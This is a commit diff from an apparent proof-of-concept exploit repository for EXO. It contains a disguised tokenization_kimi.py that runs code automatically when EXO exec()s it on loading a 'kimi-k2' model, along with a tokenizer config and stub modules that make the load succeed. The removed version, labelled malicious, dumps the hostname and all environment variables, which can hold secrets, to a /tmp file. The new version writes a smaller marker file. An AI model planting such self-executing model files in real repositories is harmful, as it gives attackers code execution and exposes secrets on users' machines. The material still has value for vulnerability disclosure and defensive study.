fix: safe PoC stub - fix empty tokenizer_config.json, clean tokenization_kimi.py payload, update tool_declaration_ts.py

tokenization_kimi.py

@@ -1,73 +1,80 @@
-# Malicious tokenization_kimi.py - PoC Payload
-# This file will be executed via exec() when EXO loads a model with "kimi-k2" in the name
+# tokenization_kimi.py - Safe PoC stub
+# This file is executed via exec() by EXO when loading a model whose ID contains "kimi-k2".
+# It demonstrates arbitrary code execution by writing a marker file, then provides
+# the TikTokenTokenizer class that EXO expects.
+
 import os
 import sys
-import socket
-import subprocess
 from pathlib import Path
 
 # ============================================================================
-# PAYLOAD CONFIGURATION
+# PoC PAYLOAD - executes at module load time (when EXO calls exec() on this file)
 # ============================================================================
-POC_MARKER_FILE = "/tmp/exo_rce_poc_pwned.txt"  # Proof of execution
+POC_MARKER_FILE = "/tmp/exo_poc_marker.txt"
 
-# ============================================================================
-# PAYLOAD EXECUTION
-# ============================================================================
 def execute_payload():
     """
-    This function executes when EXO loads the tokenizer.
-    Creates a marker file with system information as proof of code execution.
+    Proof-of-execution: writes a marker file with basic context info.
+    Non-destructive — only creates one small file under /tmp.
     """
-    
-    # --- MARKER FILE (Proof of execution) ---
     try:
-        with open(POC_MARKER_FILE, "w") as f:
-            f.write("=== EXO RCE PoC - Successful Exploitation ===\n")
-            f.write(f"Hostname: {socket.gethostname()}\n")
-            f.write(f"User: {os.getenv('USER', 'unknown')}\n")
-            f.write(f"CWD: {os.getcwd()}\n")
-            f.write(f"Python: {sys.executable}\n")
-            f.write(f"PATH: {os.getenv('PATH', '')}\n")
-            f.write("\n--- Environment Variables ---\n")
-            for key, value in sorted(os.environ.items()):
-                f.write(f"{key}={value}\n")
-        print(f"[+] PoC marker file written to: {POC_MARKER_FILE}")
-    except Exception as e:
-        print(f"[-] Failed to write marker file: {e}")
+        content = (
+            "=== EXO RCE PoC - Code Execution Confirmed ===\n"
+            f"Hostname: {os.uname().nodename}\n"
+            f"User: {os.getenv('USER', 'unknown')}\n"
+            f"PID: {os.getpid()}\n"
+            f"Python: {sys.executable}\n"
+            f"CWD: {os.getcwd()}\n"
+        )
+        Path(POC_MARKER_FILE).write_text(content)
+        print(f"[PoC] tokenization_kimi executed — marker written to {POC_MARKER_FILE}")
+    except Exception as exc:
+        print(f"[PoC] Could not write marker file: {exc}")
 
-# Execute payload immediately when this module is loaded
 execute_payload()
 
 # ============================================================================
-# STUB TOKENIZER CLASS (Required to avoid runtime errors)
+# STUB TOKENIZER CLASS — required by EXO's load_tokenizer_for_model_id()
+# EXO calls:
+#   hf_tokenizer = TikTokenTokenizer.from_pretrained(model_path)
+#   hf_tokenizer.encode = _patched_encode   (uses hf_tokenizer.model.encode)
+# So we need a .model attribute that has an .encode() method.
 # ============================================================================
-# EXO expects to find TikTokenTokenizer class in this module
-# We provide a minimal stub to prevent crashes after exploitation
+
+class _InnerModel:
+    """Minimal inner model that satisfies EXO's patched encode path."""
+    def encode(self, text: str, allowed_special=None) -> list:
+        return [ord(c) % 128 for c in (text or "")]
+
+    def decode(self, tokens, errors="replace") -> str:
+        return "".join(chr(t % 128) for t in tokens)
+
 
 class TikTokenTokenizer:
     """
-    Stub tokenizer class to satisfy EXO's expectations.
-    The payload has already executed by the time this class is instantiated.
+    Stub TikTokenTokenizer to satisfy EXO's tokenizer loading expectations.
+    The PoC payload has already executed by the time this class is instantiated.
     """
-    
+
     def __init__(self, *args, **kwargs):
-        self.model = self
-        self.eos_token_id = 0
-        print("[+] TikTokenTokenizer stub initialized (payload already executed)")
-    
+        self.model = _InnerModel()
+        self.eos_token_id = 151643          # <|im_end|> in real Kimi vocab
+        self.bos_token_id = 151644
+        self.pad_token_id = 151643
+        self.eos_token = "<|im_end|>"
+        self.bos_token = "<|im_start|>"
+        print("[PoC] TikTokenTokenizer stub initialised")
+
     @classmethod
-    def from_pretrained(cls, model_path, *args, **kwargs):
-        """Stub from_pretrained method"""
-        print(f"[+] TikTokenTokenizer.from_pretrained called with: {model_path}")
+    def from_pretrained(cls, model_path, **kwargs):
+        print(f"[PoC] TikTokenTokenizer.from_pretrained called with: {model_path}")
         return cls()
-    
-    def encode(self, text, allowed_special=None):
-        """Stub encode method - returns dummy token IDs"""
-        return [1, 2, 3]  # Dummy tokens
-    
-    def decode(self, tokens, *args, **kwargs):
-        """Stub decode method"""
-        return "decoded_text"
 
-print("[+] Malicious tokenization_kimi.py module loaded successfully")
+    def encode(self, text: str, **kwargs) -> list:
+        return self.model.encode(text)
+
+    def decode(self, tokens, **kwargs) -> str:
+        return self.model.decode(tokens)
+
+
+print("[PoC] tokenization_kimi.py loaded successfully")

tokenizer_config.json

@@ -0,0 +1,12 @@
+{
+  "tokenizer_class": "TikTokenTokenizer",
+  "model_max_length": 131072,
+  "bos_token": "<|im_start|>",
+  "eos_token": "<|im_end|>",
+  "unk_token": "<|unk|>",
+  "pad_token": "<|im_end|>",
+  "clean_up_tokenization_spaces": false,
+  "auto_map": {
+    "AutoTokenizer": ["tokenization_kimi.TikTokenTokenizer", null]
+  }
+}

tool_declaration_ts.py

@@ -1,18 +1,25 @@
-# tool_declaration_ts.py - Stub file
-# This file is imported by tokenization_kimi.py in legitimate Kimi models
-# We provide a minimal stub to prevent import errors
+# tool_declaration_ts.py - Stub for Kimi tool/function-calling support
+# Loaded by EXO via importlib before tokenization_kimi.py is exec()'d.
+# Must exist to prevent ImportError in tokenization_kimi.py relative-import path.
 
 """
-Tool declaration module stub for Kimi tokenizer.
-The original Kimi model uses this for tool/function calling support.
-For the PoC, we only need this to exist to prevent import errors.
+Minimal tool-declaration stub for the Kimi tokenizer PoC.
+The real Kimi model uses this module for tool/function-call schema support.
 """
 
-# Minimal stub - add whatever is needed to prevent import errors
-# The real payload executes in tokenization_kimi.py before this is used
+# Stub constants expected by some tokenization_kimi variants
+TOOL_CALL_START = "<|tool_call_begin|>"
+TOOL_CALL_END   = "<|tool_call_end|>"
+TOOL_CALL_ARG_BEGIN = "<|tool_call_argument_begin|>"
 
-def dummy_function():
-    """Placeholder function"""
-    pass
 
-print("[+] tool_declaration_ts.py stub loaded")
+def build_tool_declaration(name: str, description: str = "", params: dict = None) -> dict:
+    """Stub — returns a minimal tool declaration dict."""
+    return {
+        "name": name,
+        "description": description,
+        "parameters": params or {},
+    }
+
+
+print("[PoC] tool_declaration_ts.py stub loaded")